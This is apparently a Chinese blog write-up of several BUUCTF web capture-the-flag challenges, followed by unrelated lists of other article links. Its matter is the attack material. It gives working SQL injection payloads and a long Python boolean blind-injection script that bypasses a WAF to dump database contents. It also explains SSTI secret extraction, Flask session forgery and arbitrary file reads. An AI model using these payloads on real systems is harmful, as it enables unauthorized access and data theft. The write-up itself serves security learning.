1.WarmUp

思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有

2.easy_tornado

题目就给了这些信息,flag路径已知,render应该是跟模板注入相关,hint.txt给的应该是filehash的算法,

看看url,我们可以控制文件名和文件hash

随便传一个不存在的文件名会跳转到error页面,这里直接把error字符串返回了回来,所以尝试一下模板注入,写个9,也返回了,猜测题目应该是我们需要去算出flag文件对应的filehash,但是因为这个密钥是不知道的,所以我们需要去通过模板注入弄出密钥,题目又是tornado,这里常规模板注入的字符比如[],()都被过滤掉了,因此尝试找一些tonado的全局配置来读取看看

所以用handler.settings可以访问到tornado的一些“应用程序设置“,那么web网站中的一些变量信息应该也在其中存储着,所以直接访问就能得到密钥,然后就可以根据这个密钥来构造filehash

得到secret然后md5哈希一下就可以,看文档还是有用的,不会就多看文档多google,当然思路要对,比如这里就猜测secret存储在应用的一些全局配置中。

3.随便注

这里首先提交1,这里回显的1对应的数据,然后提交1',报错了

再提交1' or ''=',返回正常:

说明肯定存在注入,但是这里把常见的关键字都过掉了,并且是不区分大小写的正则进行过滤,所以常规的查系统表然后注入的方法肯定不行,这里可以尝试堆叠注入。

得到了两张表,那么接下来肯定要查一下两张表有哪些字段,用show coloums from,就可以得到flag字段,这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后

这里有两种解法:

第一种,因为后端数据库实际上是查询的words表,可以使用alter来更改表名和表字段,让1919810931114514的表更名为words表,那么查询的words的时候实际上是对19这张表的查询,这思路真骚。

payload为:

  1. ';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然后再查询就可以查询到flag了,这里我猜测后端语句应该是select * from words where id=1

第二种,除了这种骚操作,常规的我见过的还是这种:

  1. #coding=utf-8
  2. import requests
  3. #1919810931114514
  4. part_url='http://49.4.66.242:31368/?inject='
  5. payload="select flag from `1919810931114514`;"
  6. payload=payload.encode('hex')
  7. payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
  8. print payload
  9. full_url=part_url+payload
  10. r=requests.get(url=full_url)
  11. print r.content

先编译sql语句,这里将payload进行了16进制编码,然后使用execute来进行执行,这里16进制编码的payload在编译中可以识别出来的,又学到了。

4.kzone

直接访问是跳转了,说明应该有js之类检测,不满足就跳转,直接扫一下目录:

这里就不扫了,buu有检测,怕被ban,总之可以扫描到源码:

可以看到index.php有这一段加以限制

注入点在member.php里,此时将cookie中的值json_decode以后拼接username,因为有第一行defined的限制,找到其定义的地方在common.php

其中在safe.php中对一些sql关键字进行了过滤union过滤了,and or都过滤了,\s把空格也都过滤了,那么系统表都用不了了,短路还可以用^或这||或者&&来代替,单引号也没有过滤, 因此可以闭合前面的单引号,字符串截取函数我们可以用right,因为ord+mid+ascii+substring都被过滤了,空格可以用/**/来绕过,但是等号,大于小于也没了,因此正常的注入语句就用不了,所以必须要bypass,这里注意到safe.php的过滤

这里对所有的get、post、cookie的值进行了过滤http头部内的值是没有过滤的,那么可以尝试找一下http头部内有没有注入的点,但是在此题中是不存在的,但是在member.php中要对cookie中的值进行json_decode,因此可以先对关键字进行unicode编码一下,然后经过safe.php过滤时可以顺利绕过,再经过json_decode解码时就可以还原成正确的payload

先在burp中测试一下注入的逻辑:

当注入admin_user=sss'/**/||/**/'1时,此时返回了两个set-cookie,当注入admin_user=sss'/**/||/**/'0时,返回了四个set-cookie

那么我们就可以通过脚本来判断返回的set-cookie个数来判断逻辑,从而完整布尔盲注,当然这里要用到=等号,和o进行一个unicode编码替换,编写脚本如下,我们可以依次查库,用burp一跑就可以跑出来当前数据库长度为12

然后就可以跑出当前的数据库,为hctf_zone

然后跑出第一张表为fish_admin

第二张表为ip

第三表为fish_user

然后最后一张表就是flag所在的表 fl2222g

然后继续查出该表的字段为f44ag

然后就能查出flag长度

然后就能查出flag了

exp:

  1. #coding:utf-8
  2. import string
  3. import time
  4. import requests
  5. url = "http://web39.buuoj.cn/include/common.php"
  6.  
  7. def encode(payload):
  8. payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r")
  9. payload = payload.replace('=','\u00'+str(hex(ord('='))[2:]))
  10. payload = payload.replace(' ','/**/')
  11. print payload
  12. return payload
  13.  
  14. def database_length():
  15. inject = requests.session()
  16. db_length = 0
  17. for i in range(20):
  18. payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i))
  19. payload = encode(payload)
  20. #print(payload)
  21. cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
  22. ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
  23. "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5"
  24. }
  25. #print(cookie)
  26. time.sleep(1)
  27. #print inject.get(url=url, cookies=cookie).headers
  28. a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin')
  29. print a
  30. time.sleep(1)
  31. if a==1:
  32. print "the length of database is {}".format(str(i))
  33.  
  34. def dump_database():
  35. inject = requests.session()
  36. payloads = string.lowercase + "{}" + string.digits+"_"
  37. flag = "zone"
  38. temp = ""
  39. for i in range(5, 100):
  40. for j in payloads:
  41. temp = j+flag
  42. payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp)
  43. payload = encode(payload)
  44. header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
  45. cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
  46. ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358",
  47. "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e"
  48. }
  49. # print(cookie)
  50. a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"]
  51. a= a.count('islogin')
  52. #print a
  53. time.sleep(1)
  54. if a==1:
  55. flag=temp
  56. print flag
  57. break
  58.  
  59. def dump_table():
  60. inject = requests.session()
  61. payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
  62. flag = ""
  63. temp = ""
  64. for i in range(1, 100):
  65. for j in payloads:
  66. temp = j + flag
  67. payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp)
  68. payload = encode(payload)
  69. header = {
  70. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
  71. cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
  72. , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
  73. "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
  74. }
  75. # print(cookie)
  76. a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
  77. a = a.count('islogin')
  78. # print a
  79. time.sleep(1)
  80. if a == 1:
  81. flag = temp
  82. print flag
  83. break
  84.  
  85. def dump_column():
  86. inject = requests.session()
  87. payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
  88. flag = ""
  89. temp = ""
  90. for i in range(1, 100):
  91. for j in payloads:
  92. temp = j + flag
  93. payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp)
  94. payload = encode(payload)
  95. header = {
  96. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
  97. cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
  98. , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
  99. "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
  100. }
  101. # print(cookie)
  102. a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
  103. a = a.count('islogin')
  104. # print a
  105. time.sleep(1)
  106. if a == 1:
  107. flag = temp
  108. print flag
  109. break
  110.  
  111. def flag_length():
  112. inject = requests.session()
  113. db_length = 0
  114. for i in range(10,40):
  115. payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i))
  116. payload = encode(payload)
  117. #print(payload)
  118. cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
  119. ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
  120. "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef"
  121. }
  122. #print(cookie)
  123. time.sleep(1)
  124. #print inject.get(url=url, cookies=cookie).headers
  125. a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin')
  126. print a
  127. time.sleep(1)
  128. if a==1:
  129. print "the flag length is {}".format(str(i))
  130.  
  131. def dump_flag():
  132. inject = requests.session()
  133. payloads = string.lowercase + "{}" + string.digits
  134. flag = "datmq1oh3j3rp0b18z4m}"
  135. temp = ""
  136. for i in range(22, 39):
  137. for j in payloads:
  138. temp = j + flag
  139. payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp)
  140. payload = encode(payload)
  141. header = {
  142. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
  143. cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
  144. , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
  145. "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
  146. }
  147. # print(cookie)
  148. a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
  149. a = a.count('islogin')
  150. # print a
  151. time.sleep(1)
  152. if a == 1:
  153. flag = temp
  154. print flag
  155. break
  156.  
  157. if __name__ == '__main__':
  158. #database_length()
  159. #dump_database()
  160. #dump_table()
  161. #dump_column()
  162. #flag_length()
  163. dump_flag()

总结:

这道题考bypass waf来进行注入,虽然waf过滤了很多,但是有个json_decode,因此导致我们可以无视waf来进行注入,看了其他师傅的wp,当然这道题还有几个值得学习的点:

1.过滤了or,那么information_schema表用不了了,但是除了这一张元数据表外,还有其它的系统数据表可以用:

mysql.innodb_table_stats可以用来查表名

  1. select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

但是这种貌似不能直接查到字段,要是要提取flag的话,还得让这个flag表只有一列

链接:https://xz.aliyun.com/t/3253#toc-7

2.对于注入时可以添加binary到字段前防止在对比时大小写不敏感:

3.除了通常的字符串截取函数,mid+substr,right,left,还是可以用字符串比较函数strcmp,返回1或-1,同样可以用来盲注

或者find_in_set,两个字符串相等为1,否则为0,这个比较少见

更多的bypass先知上有人发了一篇,可以拿来参考

https://xz.aliyun.com/t/3992#toc-18

4.调试payload

在nu1l的wp中也看到了可以发包到burp进行调试,这样很方便看到payload的效果,只要涉及到mysql函数嵌套的就用括号包起来

5.admin

解法1:

第一种,利用unicode编码的漏洞,在unicode能表示的字符中,有的字符长的很相似,而恰巧有一些函数能够进行字符之间的转换,从而造成意想不到的结果

他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改,这段话摘自:http://blog.lnyas.xyz/?p=1411,所以才能够导致在注册的时候ᴬdmin,登陆的时候经过函数处理依次变为Admin,改密码再处理一次变为admin,从而就修改了admin的密码,关于这个是如何发现的,我觉得如果本身熟悉python开发的话很快就能意识到strlower的问题,一般转化小写不用这个函数,所以我们才需要去跟踪研究此函数可能存在的bypass方法,并且对于此题,给了登陆,注册,修改密码,那么一般套路应该就是要修改admin的密码再登录。

解法2:

直接修改把session打印出来就可以,一般给了源码本地就可以跑起来模拟

在config.py里面也给了secretkey,可以直接进行cookie伪造,flask session是存储在客户端的,只有签名防窜改作用,但是不是加密的,因此客户端可读,如果flask用来签名session的key泄露,那么就可以伪造session

6.hideandseek

这道题平台环境坏了,说一下思路:

1.zip软链接+任意文件读取

首先要上传一个zip,可以软链接到任意文件,从而造成任意文件读取,因为是flask框架,先读/proc/self/environ,可以得到

  1. UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
  2. PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
  1. WSGI 的官方定义是,the Python Web Server Gateway Interface。从名字就可以看出来,这东西是一个Gateway,也就是网关。网关的作用就是在协议之间进行转换。
    WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口,以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。
    很多框架都自带了 WSGI server ,比如 FlaskwebpyDjangoCherryPy等等。当然性能都不好,自带的 web server 更多的是测试用途,发布时则使用生产环境的 WSGI server或者是联合 nginx uwsgi
    uWSGI是一个Web服务器,它实现了WSGI协议、uwsgihttp等协议。NginxHttpUwsgiModule的作用是与uWSGI服务器进行交换。
    为什么有了uWSGI为什么还需要nginx?因为nginx具备优秀的静态内容处理能力,然后将动态内容转发给uWSGI服务器,这样可以达到很好的客户端响应。

了解到uwsgi其实是个一般python web用的web服务器,用来动态处理客户端的请求,那么uswgi.ini中应该包含了

再读取uwsgi_ini可以得到当前python web服务器的一些配置信息:

其中module中包含着py文件的路径名称,从而结合/proc/self/environ中的PWD来读取py的源码

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.伪随机+session伪造

flask sesion伪造时必须要知道secret key,这里

  1. random.seed(uuid.getnode())
  2. app = Flask(__name__)
  3. app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()函数是取mac地址作为种子,因此为固定值,所以可以本地跑出来secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

因此就可以伪造cookie登陆了,这里不能直接读flag,必须以admin登录才可以,因为有限制:

并且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有

所以这道题并没有新知识点,构造session的时候一般要和服务器端py版本一致

这个地址可以将mac地址转到10进制,从而输入种子,https://www.vultr.com/resources/mac-converter/

BUUCTF平台-web-边刷边记录-1的更多相关文章

  1. CentOS 5.5 下安装Countly Web Server过程记录

    CentOS 5.5 下安装Countly Web Server过程记录 1. 系统更新与中文语言包安装 2. 基本环境配置: 2.1. NodeJS安装 依赖项安装 yum -y install g ...

  2. kvm虚拟化管理平台WebVirtMgr部署-完整记录(3)

    继下面三篇文章完成了kvm虚拟化管理平台webvirtmgr环境的部署安装:kvm虚拟化管理平台WebVirtMgr部署-虚拟化环境安装-完整记录(0)kvm虚拟化管理平台WebVirtMgr部署-完 ...

  3. kvm虚拟化管理平台WebVirtMgr部署-完整记录(2)

    继上一篇kvm虚拟化管理平台WebVirtMgr部署-完整记录(1),接下来说说WebVirtMgr的日常配置:添加宿主机,创建虚机,磁盘扩容,快照等具体操作记录如下: 一.配置宿主机1.登录WebV ...

  4. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. BUUCTF平台-web-边刷边记录-2

    1.one line tool <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_ ...

  7. 自制公众平台Web Api(微信)

    最近一段时间感觉没什么东西可以分享给大家,又由于手上项目比较赶,不太更新博客了,今天趁着生病闲下来的时间分享一些项目中的东西给大家. 公众平台 提起公众平台当下最流行的莫过于腾讯的微信了,当然还有易信 ...

  8. 开放平台-web实现QQ第三方登录

    应用场景     web应用通过QQ登录授权实现第三方登录.   操作步骤     1  注册成为QQ互联平台开发者,http://connect.qq.com/     2  准备一个可访问的域名, ...

  9. ELK实时日志分析平台环境部署--完整记录

    在日常运维工作中,对于系统和业务日志的处理尤为重要.今天,在这里分享一下自己部署的ELK(+Redis)-开源实时日志分析平台的记录过程(仅依据本人的实际操作为例说明,如有误述,敬请指出)~ ==== ...

随机推荐

  1. [转载]PyTorch中permute的用法

    [转载]PyTorch中permute的用法 来源:https://blog.csdn.net/york1996/article/details/81876886 permute(dims) 将ten ...

  2. C++ STL 之 内建函数对象

    STL 内建了一些函数对象.分为:算数类函数对象,关系运算类函数对象,逻辑运算类仿函数.这些仿函数所产生的对象,用法和一般函数完全相同,当然我们还可以产生无名的临时对象来履行函数功能.使用内建函数对象 ...

  3. BBPlus团队ALPHA冲刺博客(肖文恒)

    ALPHA冲刺博客 第一天:https://www.cnblogs.com/bbplus/p/11931039.html 第二天:https://www.cnblogs.com/bbplus/p/11 ...

  4. freeertos中关于PendSV中断服务函数的解析

    __asm void xPortPendSVHandler( void ) { extern uxCriticalNesting; extern pxCurrentTCB; extern vTaskS ...

  5. intellij idea打包出来的jar包,运行时中文乱码

    比如以下代码: import javax.swing.*; public class addJarPkg { public static void main(String[] args) { JFra ...

  6. Python&Selenium&pytest借助allure生成自动化测试报告

    一.摘要 本篇博文将介绍Python和Selenium进行自动化测试时,如何借助allure生成自动化测试报告 二.环境配置 首先python环境中安装pytest和pytest_allure_ada ...

  7. Python 去除字符串中的空行

    Python 去除字符串中的空行 mystr = 'adfa\n\n\ndsfsf' print("".join([s for s in mystr.splitlines(True ...

  8. vue的prop父子组件传值

    props down, events up 父组件通过 props 向下传递数据给子组件:子组件通过 events 给父组件发送消息. 静态 props 要让子组件使用父组件的数据,需要通过子组件的 ...

  9. Django+MySQLDB配置

    Django+MySQLDB配置   来源: ChinaUnix博客 日期: 2009.07.09 16:25 (共有条评论) 我要评论                   一.安装Mysql(1)下 ...

  10. Linq 分组查询

    根据部门分组 ,然后存储部门下所有员工 public class Custom { public string dname { get; set; } public List<Employees ...